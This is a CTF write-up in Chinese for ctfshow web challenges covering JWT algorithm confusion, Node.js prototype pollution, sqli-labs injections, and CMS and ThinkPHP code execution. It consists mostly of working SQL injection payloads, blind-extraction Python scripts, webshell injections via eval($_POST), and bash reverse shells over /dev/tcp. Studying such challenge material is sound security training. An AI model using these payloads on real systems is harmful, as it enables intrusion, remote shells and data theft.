        res.end('you are not admin');
      }
    });
});

下载拿到private.key,然后在 https://jwt.io/ 中进行修改后的jwt的签名,修改cookie后post请求一下就行了。

web350

和上一题类似,但是不能获取到私钥,只能拿到公钥。

这里可以将RS256算法改为HS256(非对称密码算法=>对称密码算法)。

如果将算法从RS256改为HS256,则后端代码将使用公钥作为密钥,然后使用HS256算法验证签名。由于攻击者有时可以获取公钥,因此,攻击者可以将头部中的算法修改为HS256,然后使用RSA公钥对数据进行签名。这样的话,后端代码使用RSA公钥+HS256算法进行签名验证。

const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });

console.log(token)

0x0d nodejs

web334

打开网站是一个登录界面,先下载附件看看源码。

user.js 中找到了用户名和密码 {username: 'CTFSHOW', password: '123456'},但是直接登录不对,接着看看源码。

登录验证的函数如下,用户名不能等于 CTFSHOW ,但是字母大写后等于 CTFSHOW ,那直接输入 ctfshow 和123456就可以了。

var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

web335

查看源码找到注释 /?eval=

猜测可能是读取一个参数然后命令执行。

require('child_process').spawnSync( 'ls' ).stdout.toString()

require('child_process').spawnSync( 'cat' ,['fl00g.txt']).stdout.toString()

web336

require('child_process').spawnSync( 'cat' ,['fl001g.txt']).stdout.toString()

web337

读取a、b两个参数,两个参数长度相等,值不强相等,和flag拼接后的md5值相等,满足条件输出flag。

router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
    res.end(flag);
  }else{
    res.render('index',{ msg: 'tql'});
  }
});

由于js是弱类型的语言,可以传入 a[a]=1&b[b]=2 ,那么就有了 a={'a'=1},b={'b'=2} ,而他们与flag进行拼接时都是 [object Object]ctfshow{xxx} ,也就是说此时无论值是什么,md5后的结果都相等。

web338

原型链污染

下载源码,先来看一下 login.js ,flag就存放在这,下面有一个判断 (secert.ctfshow==='36dboy') ,成立则输出flag,但是这里没有对secert进行任何操作,这里就需要原型链污染了。

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
  }
});

再跟进看一下 common.js ,copy函数存在对object1的键值对添加修改的情况,而通过键 __proto__ 可以访问到该对象的原型,如果能对他的原型添加一个键值对 {'ctfshow': '36dboy'} ,那么原型也是他的secert在被访问ctfshow属性时就会返回36dboy,就能够满足条件了。

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

于是我们对路由 /login POST传入 {"__proto__":{"ctfshow":"36dboy"}} 就能够获取flag了。

web339

相对于上一题,在判断处判断的条件修改为了flag的内容,不再是固定的值,再像之前一样是不行了。

这次多了一个 api.js,进行了模板渲染,如果这里的query被我们修改了,那就可以任意代码执行了。而query在当前环境中没有被定义,所以就会在Object对象中寻找这个属性,那么我们就向上污染Object添加一个query属性就行了。

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
});

那么我们在login处传入 {"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/***/*** 0>&1\"')"}}

这样就能够利用copy覆盖query的值,然后POST访问api,就能够反弹shell了。

这里之所以是 global.process.mainModule.constructor._load ,而不是直接用 require ,是因为这里没有require,所以就用 global.process.mainModule.constructor._load 来导入 child_process

https://nodejs.org/api/globals.html#globals_require
This variable may appear to be global but is not

web340

这里的user定义为了一个对象,他的属性userinfo同样也是一个对象,copy函数的第一个参数传入 user.userinfo ,同样还是向上污染Object对象的属性添加query。

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);
  }else{
   return res.json({ret_code: 2, ret_msg: '登录失败'});
  }
});

但是这里 user.userinfo.__proto__ 并不是 Object.prototype ,还要再往上一层才是 Object.prototype

var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;
    };
}
console.log(user.userinfo.__proto__.__proto__ === Object.prototype)
//output: true

所以这里我们要往上污染两层。

payload 为 {"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/***/*** 0>&1\"')"}}}

0x0e sqli-labs

web517

可以报错注入也可以联合注入,默认使用的数据库是security,但是flag在ctfshow这个数据库中。
1' and (updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1))%23
1' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1))%23
1' and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e),1))%23
1' and (updatexml(1,concat(0x7e,(select flag from ctfshow.flag),0x7e),1))%23

web518

整数型注入,相对于上一题去掉单引号闭合就行了。
1 and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1))%23
1 and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flagaa'),0x7e),1))%23
1 and (updatexml(1,concat(0x7e,(select flagac from ctfshow.flagaa),0x7e),1))%23

web519

括号闭合。
1') and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1))%23
1') and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flagaanec'),0x7e),1))%23
1') and (updatexml(1,concat(0x7e,(select flagaca from ctfshow.flagaanec),0x7e),1))%23

web520

双引号闭合。
1") and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1))%23
1") and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flagsf'),0x7e),1))%23
1") and (updatexml(1,concat(0x7e,(select flag23 from ctfshow.flagsf),0x7e),1))%23

web521

-1' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1))%23
-1' and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flagpuck'),0x7e),1))%23
-1' and (updatexml(1,concat(0x7e,(select flag33 from ctfshow.flagpuck),0x7e),1))%23

web522

-1" and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1))%23
-1" and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flagpa'),0x7e),1))%23
-1" and (updatexml(1,concat(0x7e,(select flag3a3 from ctfshow.flagpa),0x7e),1))%23

web523

写文件操作。
1')) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow' into outfile '/var/www/html/3.txt'%23
1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flagdk' into outfile '/var/www/html/4.txt'%23
1')) union select 1,2,flag43 from ctfshow.flagdk into outfile '/var/www/html/5.txt'%23

web524

布尔盲注。

import requests

url = 'http://31b13bf1-e597-43b6-baca-563ce4411a1f.challenge.ctf.show:8080/?id='
i = 0
flag = ''

while 1:
    start = 32
    tail = 127
    i += 1
    while start < tail:
        mid = (start + tail) >> 1
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'"
        # payload = 'select group_concat(column_name) from information_schema.columns where table_name="flagjugg"'
        payload = 'select flag423 from ctfshow.flagjugg'
        data = f"-1' or if(ascii(substr(({payload}),{i},1))>{mid},1,0)%23"
        res = requests.get(url + data)
        if 'You are in...........' in res.text:
            start = mid + 1
        else:
            tail = mid
    if start != 32:
        flag += chr(start)
        print(flag)
    else:
        break

web525

时间盲注

import requests

url = 'http://030bbc59-11d0-40c9-b8dd-55b82a6e4ca9.challenge.ctf.show:8080/?id='
i = 0
flag = ''

while 1:
    start = 32
    tail = 127
    i += 1
    while start < tail:
        mid = (start + tail) >> 1
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'"
        # payload = 'select group_concat(column_name) from information_schema.columns where table_name="flagug"'
        payload = 'select flag4a23 from ctfshow.flagug'
        data = f"1' and if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.6),0)%23"
        try:
            res = requests.get(url + data, timeout=0.5)
            tail = mid
        except Exception as e:
            start = mid + 1
    if start != 32:
        flag += chr(start)
        print(flag)
    else:
        break

web526

时间盲注,双引号闭合。

import requests

url = 'http://d063f99f-ea86-494c-90ad-892ead80c267.challenge.ctf.show:8080/?id='
i = 0
flag = ''

while 1:
    start = 32
    tail = 127
    i += 1
    while start < tail:
        mid = (start + tail) >> 1
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'"
        # payload = 'select group_concat(column_name) from information_schema.columns where table_name="flagugs"'
        payload = 'select flag43s from ctfshow.flagugs'
        data = f'1" and if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.6),0)%23'
        try:
            res = requests.get(url + data, timeout=0.5)
            tail = mid
        except Exception as e:
            start = mid + 1
    if start != 32:
        flag += chr(start)
        print(flag)
    else:
        break

web527

报错注入。
uname=1' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1))#&passwd=1
uname=1' and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flagugsd'),0x7e),1))#&passwd=1
uname=1' and (updatexml(1,concat(0x7e,(select flag43s from ctfshow.flagugsd),0x7e),1))#&passwd=1

web528

报错注入双引号闭合。
uname=1") and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1))#&passwd=1
uname=1") and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flagugsds'),0x7e),1))#&passwd=1
uname=1") and (updatexml(1,concat(0x7e,(select flag43as from ctfshow.flagugsds),0x7e),1))#&passwd=1

web529

uname=1') and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1))#&passwd=1
uname=1') and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e),1))#&passwd=1
uname=1') and (updatexml(1,concat(0x7e,(select flag4 from ctfshow.flag),0x7e),1))#&passwd=1

web530

uname=1" and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1))#&passwd=1
uname=1" and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flagb'),0x7e),1))#&passwd=1
uname=1" and (updatexml(1,concat(0x7e,(select flag4s from ctfshow.flagb),0x7e),1))#&passwd=1

web531

布尔盲注

import requests

url = 'http://5f469d00-2b70-444f-b02c-9020cbff0015.challenge.ctf.show:8080/'
i = 0
flag = ''
data = {
    'uname': '',
    'passwd': '1'
}

while 1:
    start = 32
    tail = 127
    i += 1
    while start < tail:
        mid = (start + tail) >> 1
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'"
        # payload = 'select group_concat(column_name) from information_schema.columns where table_name="flagba"'
        payload = 'select flag4sa from ctfshow.flagba'
        data['uname'] = f"admin' and if(ascii(substr(({payload}),{i},1))>{mid},1,0)#"
        res = requests.post(url, data=data)
        if 'flag.jpg' in res.text:
            start = mid + 1
        else:
            tail = mid

    if start != 32:
        flag += chr(start)
        print(flag)
    else:
        break

web532

时间盲注

import requests

url = 'http://db0003fb-d379-4a66-ab7c-32146386726a.challenge.ctf.show:8080/'
i = 0
flag = ''
data = {
    'uname': '',
    'passwd': '1'
}

while 1:
    start = 32
    tail = 127
    i += 1
    while start < tail:
        mid = (start + tail) >> 1
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'"
        # payload = 'select group_concat(column_name) from information_schema.columns where table_name="flagbab"'
        payload = 'select flag4sa from ctfshow.flagbab'
        data['uname'] = f'admin") and if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.6),0)#'
        try:
            res = requests.post(url, data=data, timeout=0.5)
            tail = mid
        except Exception as e:
            start = mid + 1

    if start != 32:
        flag += chr(start)
        print(flag)
    else:
        break

web533

uname=1' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1))#&passwd=1
uname=1' and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e),1))#&passwd=1
uname=1' and (updatexml(1,concat(0x7e,(select flag4 from ctfshow.flag),0x7e),1))#&passwd=1

web534

登陆成功后会显示UA头,应该是UA注入,伪造UA头进行报错注入即可。
1' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1)) and '1'='1
1' and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e),1)) and '1'='1
1' and (updatexml(1,concat(0x7e,(select flag4 from ctfshow.flag),0x7e),1)) and '1'='1

web535

登陆成功后会显示Referer,伪造Referer进行报错注入即可。
1' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1)) and '1'='1
1' and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e),1)) and '1'='1
1' and (updatexml(1,concat(0x7e,(select flag4 from ctfshow.flag),0x7e),1)) and '1'='1

web533

修改cookie进行报错注入。
1' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1)) and '1'='1
1' and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e),1)) and '1'='1
1' and (updatexml(1,concat(0x7e,(select flag4 from ctfshow.flag),0x7e),1)) and '1'='1

web537

还是cookie出入,只是进行了一次base64编码
MScgYW5kICh1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGZsYWc0IGZyb20gY3Rmc2hvdy5mbGFnKSwweDdlKSwxKSkgYW5kICcxJz0nMQ==

web538

1" and (updatexml(1,concat(0x7e,(select flag4 from ctfshow.flag),0x7e),1))#

web539

1' and (updatexml(1,concat(0x7e,(select flag4 from ctfshow.flag),0x7e),1)) and '1'='1

web540

二次注入

import requests

session = requests.session()
register = 'http://5410d509-cf59-45d7-9d96-1f223ad51ed5.challenge.ctf.show:8080/login_create.php'
login = 'http://5410d509-cf59-45d7-9d96-1f223ad51ed5.challenge.ctf.show:8080/login.php'
reset = 'http://5410d509-cf59-45d7-9d96-1f223ad51ed5.challenge.ctf.show:8080/pass_change.php'
result = ''
i = 0
data = {}

while True:
    i = i + 1
    start = 32
    tail = 127

    while start < tail:
        mid = (start + tail) >> 1
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'"
        # payload = 'select group_concat(column_name) from information_schema.columns where table_name="flag"'
        payload = 'select flag4 from ctfshow.flag'
        username = f"Dumb' and if(ascii(substr(({payload}),{i},1))>{mid},sleep(1),0) or '1'='1"
        data = {'username': username,
                'password': "114514",
                're_password': "114514",
                'submit': "Register"
                }
        session.post(register, data=data)
        data = {'login_user': username,
                'login_password': "114514",
                'mysubmit': "Login"
                }
        session.post(login, data=data)
        data = {'current_password': "114514",
                'password': "114515",
                're_password': "114515",
                'submit': "Reset"
                }
        try:
            res = session.post(reset, data=data, timeout=0.5)
            tail = mid
        except Exception as e:
            start = mid + 1

    if start != 32:
        result += chr(start)
    else:
        break
    print(result)

web541

orand 被替换为空,双写绕过。
1' anandd (updatexml(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='ctfshow'),0x7e),1))%23
1' anandd (updatexml(1,concat(0x7e,(select group_concat(column_name) from infoorrmation_schema.columns where table_name='flags'),0x7e),1))%23
1' anandd (updatexml(1,concat(0x7e,(select flag4s from ctfshow.flags),0x7e),1))%23

web542

这题和上一题一样 orand 被替换为空,双写绕过,但是没有报错信息了,可以用联合注入。
-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='ctfshow'%23
-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='flags'%23
-1 union select 1,2, flag4s from ctfshow.flags%23

web543

上一题的基础上过滤了空格。
1'anandd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='ctfshow')),0x7e),1))oorr'0
1'anandd(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='flags')),0x7e),1))oorr'0
1'anandd(updatexml(1,concat(0x7e,(select(flag4s)from(ctfshow.flags)),0x7e),1))oorr'0

web544

没有报错信息,盲注。

import requests

url = 'http://168df047-b54d-4578-960b-b7a58cb92fdf.challenge.ctf.show:8080/?id='
i = 0
flag = ''


while 1:
    start = 32
    tail = 127
    i += 1
    while start < tail:
        mid = (start + tail) >> 1
        # payload = "select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='ctfshow')"
        # payload = 'select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name="flags")'
        payload = 'select(flag4s)from(ctfshow.flags)'
        data = f"admin')oorr(if(ascii(substr(({payload}),{i},1))>{mid},1,0))oorr('0"
        res = requests.get(url + data, timeout=0.5)
        if 'Dumb' in res.text:
            start = mid + 1
        else:
            tail = mid

    if start != 32:
        flag += chr(start)
        print(flag)
    else:
        break

###
过滤了 selectunion ,大小写绕过。

import requests

url = 'http://ec1d02df-057e-478c-b6ae-4856617a41bf.challenge.ctf.show:8080/?id='
i = 0
flag = ''


while 1:
    start = 32
    tail = 127
    i += 1
    while start < tail:
        mid = (start + tail) >> 1
        payload = "seLEct(group_concat(table_name))from(information_schema.tables)where(table_schema='ctfshow')"
        # payload = 'seLEct(group_concat(column_name))from(information_schema.columns)where(table_name="flags")'
        # payload = 'select(flag4s)from(ctfshow.flags)'
        data = f"admin'or(if(ascii(substr(({payload}),{i},1))>{mid},1,0))or'0"
        res = requests.get(url + data)
        if 'Dumb' in res.text:
            start = mid + 1
        else:
            tail = mid

    if start != 32:
        flag += chr(start)
        print(flag)
    else:
        break

web546

上一题的单引号改双引号。

import requests

url = 'http://6e730cd4-3626-4686-a27b-262d1658e7f1.challenge.ctf.show:8080/?id='
i = 0
flag = ''


while 1:
    start = 32
    tail = 127
    i += 1
    while start < tail:
        mid = (start + tail) >> 1
        # payload = "seLEct(group_concat(table_name))from(information_schema.tables)where(table_schema='ctfshow')"
        # payload = 'seLEct(group_concat(column_name))from(information_schema.columns)where(table_name="flags")'
        payload = 'seLEct(flag4s)from(ctfshow.flags)'
        data = f'admin"or(if(ascii(substr(({payload}),{i},1))>{mid},1,0))or"0'
        res = requests.get(url + data)
        if 'Dumb' in res.text:
            start = mid + 1
        else:
            tail = mid

    if start != 32:
        flag += chr(start)
        print(flag)
    else:
        break

web547

脚本同545

import requests

url = 'http://26a829d0-1f10-4a34-9d30-f31f490e0008.challenge.ctf.show:8080//?id='
i = 0
flag = ''


while 1:
    start = 32
    tail = 127
    i += 1
    while start < tail:
        mid = (start + tail) >> 1
        # payload = "seLEct(group_concat(table_name))from(information_schema.tables)where(table_schema='ctfshow')"
        # payload = 'seLEct(group_concat(column_name))from(information_schema.columns)where(table_name="flags")'
        payload = 'seLEct(flag4s)from(ctfshow.flags)'
        data = f"admin'or(if(ascii(substr(({payload}),{i},1))>{mid},1,0))or'0"
        res = requests.get(url + data)
        if 'Dumb' in res.text:
            start = mid + 1
        else:
            tail = mid

    if start != 32:
        flag += chr(start)
        print(flag)
    else:
        break

web548

同上

web549

服务器端有两个部分:第一部分为 tomcat 为引擎的 jsp 型服务器,第二部分为 apache 为引擎的 php 服务器,真正提供 web 服务的是 php 服务器。

服务器对参数的解析如下。

由于过滤是通过jsp进行过滤,所以传入两个参数id即可绕过waf。

?id=1&id=-2' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='ctfshow'%23
?id=1&id=-2' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='flags'%23
?id=1&id=-2' union select 1,2,group_concat(flag4s)from ctfshow.flags%23

web550

双引号闭合。
?id=1&id=-2" union select 1,2,group_concat(flag4s)from ctfshow.flags%23

web551

双引号括号闭合。
?id=1&id=-2") union select 1,2,group_concat(flag4s)from ctfshow.flags%23

web552

宽字节注入。
?id=-2%df' union select 1,2,group_concat(flag4s)from ctfshow.flags%23

web553

同上

web554

-1�' union select 1,group_concat(flag4s) from ctfshow.flags#

web555

-1 union select 1,group_concat(flag4s) from ctfshow.flags#

web556

?id=-1%df' union select 1,2,group_concat(flag4s)from ctfshow.flags%23

web557

-1�' union select 1,group_concat(flag4s) from ctfshow.flags#

web558

堆叠注入。

能拿到表名和字段名但是拿不到flag,不知道为什么。
21';insert users(id,username,password) values(21,(select group_concat(flag4s) from ctfshow.flags),'114514');

堆叠注入改表名。
1';CREATE TABLE flags SELECT * FROM ctfshow.flags;rename table users to a;rename table flags to users;

web559

1;CREATE TABLE flags SELECT * FROM ctfshow.flags;rename table users to a;rename table flags to users;

web560

1');CREATE TABLE flags SELECT * FROM ctfshow.flags;rename table users to a;rename table flags to users;

web561

1;CREATE TABLE flags SELECT * FROM ctfshow.flags;rename table users to a;rename table flags to users;

web562

login_password=-1'union select 1,(select group_concat(flag4s)from(ctfshow.flags)),3%23&login_user=admin&mysubmit=Login

web563

login_password=-1')union select 1,(select group_concat(flag4s)from(ctfshow.flags)),3%23&login_user=admin&mysubmit=Login

web564

updatexml(1,concat(0x7e,(select flag4s from ctfshow.flags),0x7e),1)

web565

1' and updatexml(1,concat(0x7e,(select flag4s from ctfshow.flags),0x7e),1)%23

web566

可以根据 ?sort=rand(0)?sort=rand(1) 返回结果不同来写盲注脚本。

from time import sleep

import requests

url = 'http://ba071b80-bc38-439f-9c77-3ec25208f5f3.challenge.ctf.show:8080/?sort='
i = 0
flag = ''
html = requests.get(url + 'rand(1)').text

while 1:
    start = 32
    tail = 127
    i += 1
    while start < tail:
        mid = (start + tail) >> 1
        # payload = "select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctfshow')"
        # payload = 'select(group_concat(column_name))from(information_schema.columns)where(table_name="flags")'
        payload = 'select(flag4s)from(ctfshow.flags)'
        data = f"rand(ascii(substr(({payload}),{i},1))>{mid})"
        res = requests.get(url + data)
        if html == res.text:
            start = mid + 1
        else:
            tail = mid

    sleep(1)
    if start != 32:
        flag += chr(start)
        print(flag)
    else:
        break

web567

同上

web568

1' and updatexml(1,concat(0x7e,(select flag4s from ctfshow.flags),0x7e),1)%23

0x0f CMS

web477

访问当前目录下的 更新记录.txt 文件得到版本为6.0,下载源码。

漏洞发生在 table_templatetagwap.php 中。

下载发现代码被混淆了,要先进行反混淆。

<?php
$file = file_get_contents("table_templatetagwap.php");
$file = substr(str_replace(substr($file, 0, 2054), '', $file), 0, -2);
file_put_contents('new.php',gzinflate(base64_decode($file)));

拿到源码

<?php
if (!defined('ROOT')) exit('Can\'t Access !');

class table_templatetag extends table_mode
{
    function vaild()
    {
        if (!front::post('name')) {
            front::flash('请填写名称!');
            return false;
        }
        if (!front::post('tagcontent')) {
            front::flash('请填写内容!');
            return false;
        }
        return true;
    }

    function save_before()
    {
        if (!front::post('tagfrom')) front::$post['tagfrom'] = 'define';
        if (!front::post('attr1')) front::$post['attr1'] = '0';
        if (front::$post['tagcontent']) front::$post['tagcontent'] = htmlspecialchars_decode(front::$post['tagcontent']);
    }
}

后台地址 http://url/?admin_dir=admin,默认 admin/admin 登录成功。

首页/模板/自定义标签 处添加自定义标签,内容输入 <?php phpinfo(); ?> 就可以触发代码执行。flag就在phpinfo中。

web478

web480

saveValues() 会将用户的输入一一对应存入 config.php 中,不难想到代码注入。

这里会对输入进行一些过滤,在这里的最后会将单引号替换为 \' 或空。

foreach ($values as $directive => $value) {
    $directive = trim(strtoupper($directive));
    if ($directive == 'CURRENTCONFIGNAME') {  
        $profile = $value;
        continue;
    }
    $str .= "define(\"$directive\",";
    $value = stripslashes($value); 
    if (substr($directive, -5, 5) == "_HTML") {
        $value = htmlentities($value, ENT_QUOTES, LANG_CHARSET);
        $value = str_replace(array("\r\n", "\r", "\n"), "", $value);
        $str .= "exponent_unhtmlentities('$value')";
    } elseif (is_int($value)) {
        $str .= "'" . $value . "'";
    } else {
        if ($directive != 'SESSION_TIMEOUT') {
            $str .= "'" . str_replace("'", "\'", $value) . "'"; 
        }
        else {
            $str .= "'" . str_replace("'", '', $value) . "'";
        }
    }
    $str .= ");\n";
}

但是在 config.php 中,CURRENTCONFIGNAME 的值用的是双引号包裹而不是单引号,就可以在这里进行注入了。

<?php
define("HOST",'127.0.0.1');
define("USER",'ctfshow');
define("PASSWORD",'ctfshow');
define("DATABASE",'ctfshow');
?>
<?php
define("CURRENTCONFIGNAME","");
?>

?conf[CURRENTCONFIGNAME]=");eval($_POST[1]);# 即可。

web481

当传入参数 session 的md5值为 3e858ccd79287cfe8509f15a71b4c45d 即ctfshow时,可以复制文件。

if(md5($_GET['session'])=='3e858ccd79287cfe8509f15a71b4c45d'){
    $configs="c"."o"."p"."y";
    $configs(trim($_GET['url']),$_GET['cms']);
    // copy(trim($_GET['url']),$_GET['cms']);
}

?session=ctfshow&url=/flag&cms=1.txt 即可。

web482

打开就是安装界面,提示已安装,而且网站的解析根目录在 /install 下,我们能够利用的东西很有限。

查看一下 index.php ,存在 extract(),但是不能变量覆盖。还有参数 submitstep

if($_POST) extract($_POST, EXTR_SKIP);//把数组中的键名直接注册为了变量。就像把$_POST[ai]直接注册为了$ai。
if($_GET) extract($_GET, EXTR_SKIP);
$submit = isset($_POST['submit']) ? true : false;
$step = isset($_POST['step']) ? $_POST['step'] : 1;

之后存在根据 $step 的值来包含不同的文件,接着去看看这些文件。

<?php
switch($step) {
    case '1'://协议
        include 'step_'.$step.'.php';
    break;
    case '2'://环境
        ......
        include 'step_'.$step.'.php';
    break;
    case '3'://查目录属性
        include 'step_'.$step.'.php';
    break;
    case '4'://建数据库
        include 'step_'.$step.'.php';
    break;
    case '5'://安装进度
        ......
        include 'step_'.$step.'.php';
        break;
    case '6'://安装成功
        include 'step_'.$step.'.php';
    break;
}
session_write_close();
?>

step_1.php 中验证了文件 install.lock 是否存在来判断是否已安装。

if(file_exists("install.lock")){
echo "<div style='padding:30px;'>安装向导已运行安装过,如需重安装,请删除 /install/install.lock 文件</div>";
}

但是在 step_2.php 中只验证了 $step 的值,没有验证 install.lock 是否存在,存在重安装漏洞。

if(@$step==2){}

一路安装,成功后就出flag了。

0x10 thinkphp专题

大部分都在Thinkphp 3.2.3 rce中进行了复现。

web569

thinkphp 3.2.3,考察tp3.2的pathinfo的运用。

thinkphp 专项训练-pathinfo的运用
flag在Admin模块的Login控制器的ctfshowLogin方法中

tp3.2的url格式如下。
http://serverName/index.php/模块/控制器/操作

访问 http://serverName/index.php/Admin/Login/ctfshowLogin 就可以了。

web570

黑客建立了闭包路由后门,你能找到吗

下载附件,在 Common/Conf/ 下找到了一个 config.php 存在如下代码,闭包路由参数传递然后对输入的内容进行函数调用。

'ctfshow/:f/:a' =>function($f,$a){
    call_user_func($f, $a);
}

http://serverName/index.php/ctfshow/system/ls 就可以执行命令了,但是没办法输入 ls / ,那就可以用 assert 来进行回调后门。http://serverName/index.php/ctfshow/assert/assert($_POST[1]),然后POST传入执行命令的代码即可。

web571

Home\Controller\IndexController 中找到了 index($n='') 传入了一个可控参数,模板渲染存在命令执行。

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index($n=''){
        $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>CTFshow</h1><p>thinkphp 专项训练</p><p>hello,'.$n.'黑客建立了控制器后门,你能找到吗</p>','utf-8');
    }
}

http://serverName/index.php/Home/Index/index?n=<?php system('cat /flag_is_here ');?> 执行命令。

web572

提示 此题需要使用爆破来获得关键信息,非扫描,爆破次数不会超过365次,否则均为无效操作

365结合前面的代码中出现的日志文件,猜测可能是爆破出存在的日志文件,开启DEBUG的情况下会在Runtime目录下生成日志。用burp爆破找到了日志文件。路径 /Application/Runtime/Logs/Home/xxx.log

访问 /index.php?showctf=<?php system('cat /flag_is_here'); ?> 即可。

web573

tp3.2.3 sql注入。
?id[where]=1 and updatexml(1,concat(0x7e,(select flag4s from flags),0x7e),1)--+

web574

tp3.2.3 sql注入。本地调试一下发现直接跳过了过滤,直接注入就行了。

public function index($id=1){
    $name = M('Users')->where('id='.$id)->find();
    $this->show($html);
}

看报错信息发现有括号闭合,不添加注释符就行了。
?id=1 and updatexml(1,concat(0x7e,(select right(flag4s,20) from flags),0x7e),1)

web575

这里调用了反序列化然后调用了 $this->show($user->username) ,这里可以利用tp3.2.3反序列化SQL注入来进行注入,也可以通过show,控制$user->username来进行命令执行。

    $user= unserialize(base64_decode(cookie('user')));
    if(!$user || $user->id!==$id){
        $user = M('Users');
        $user->find(intval($id));
        cookie('user',base64_encode(serialize($user->data())));
    }
    $this->show($user->username);
}

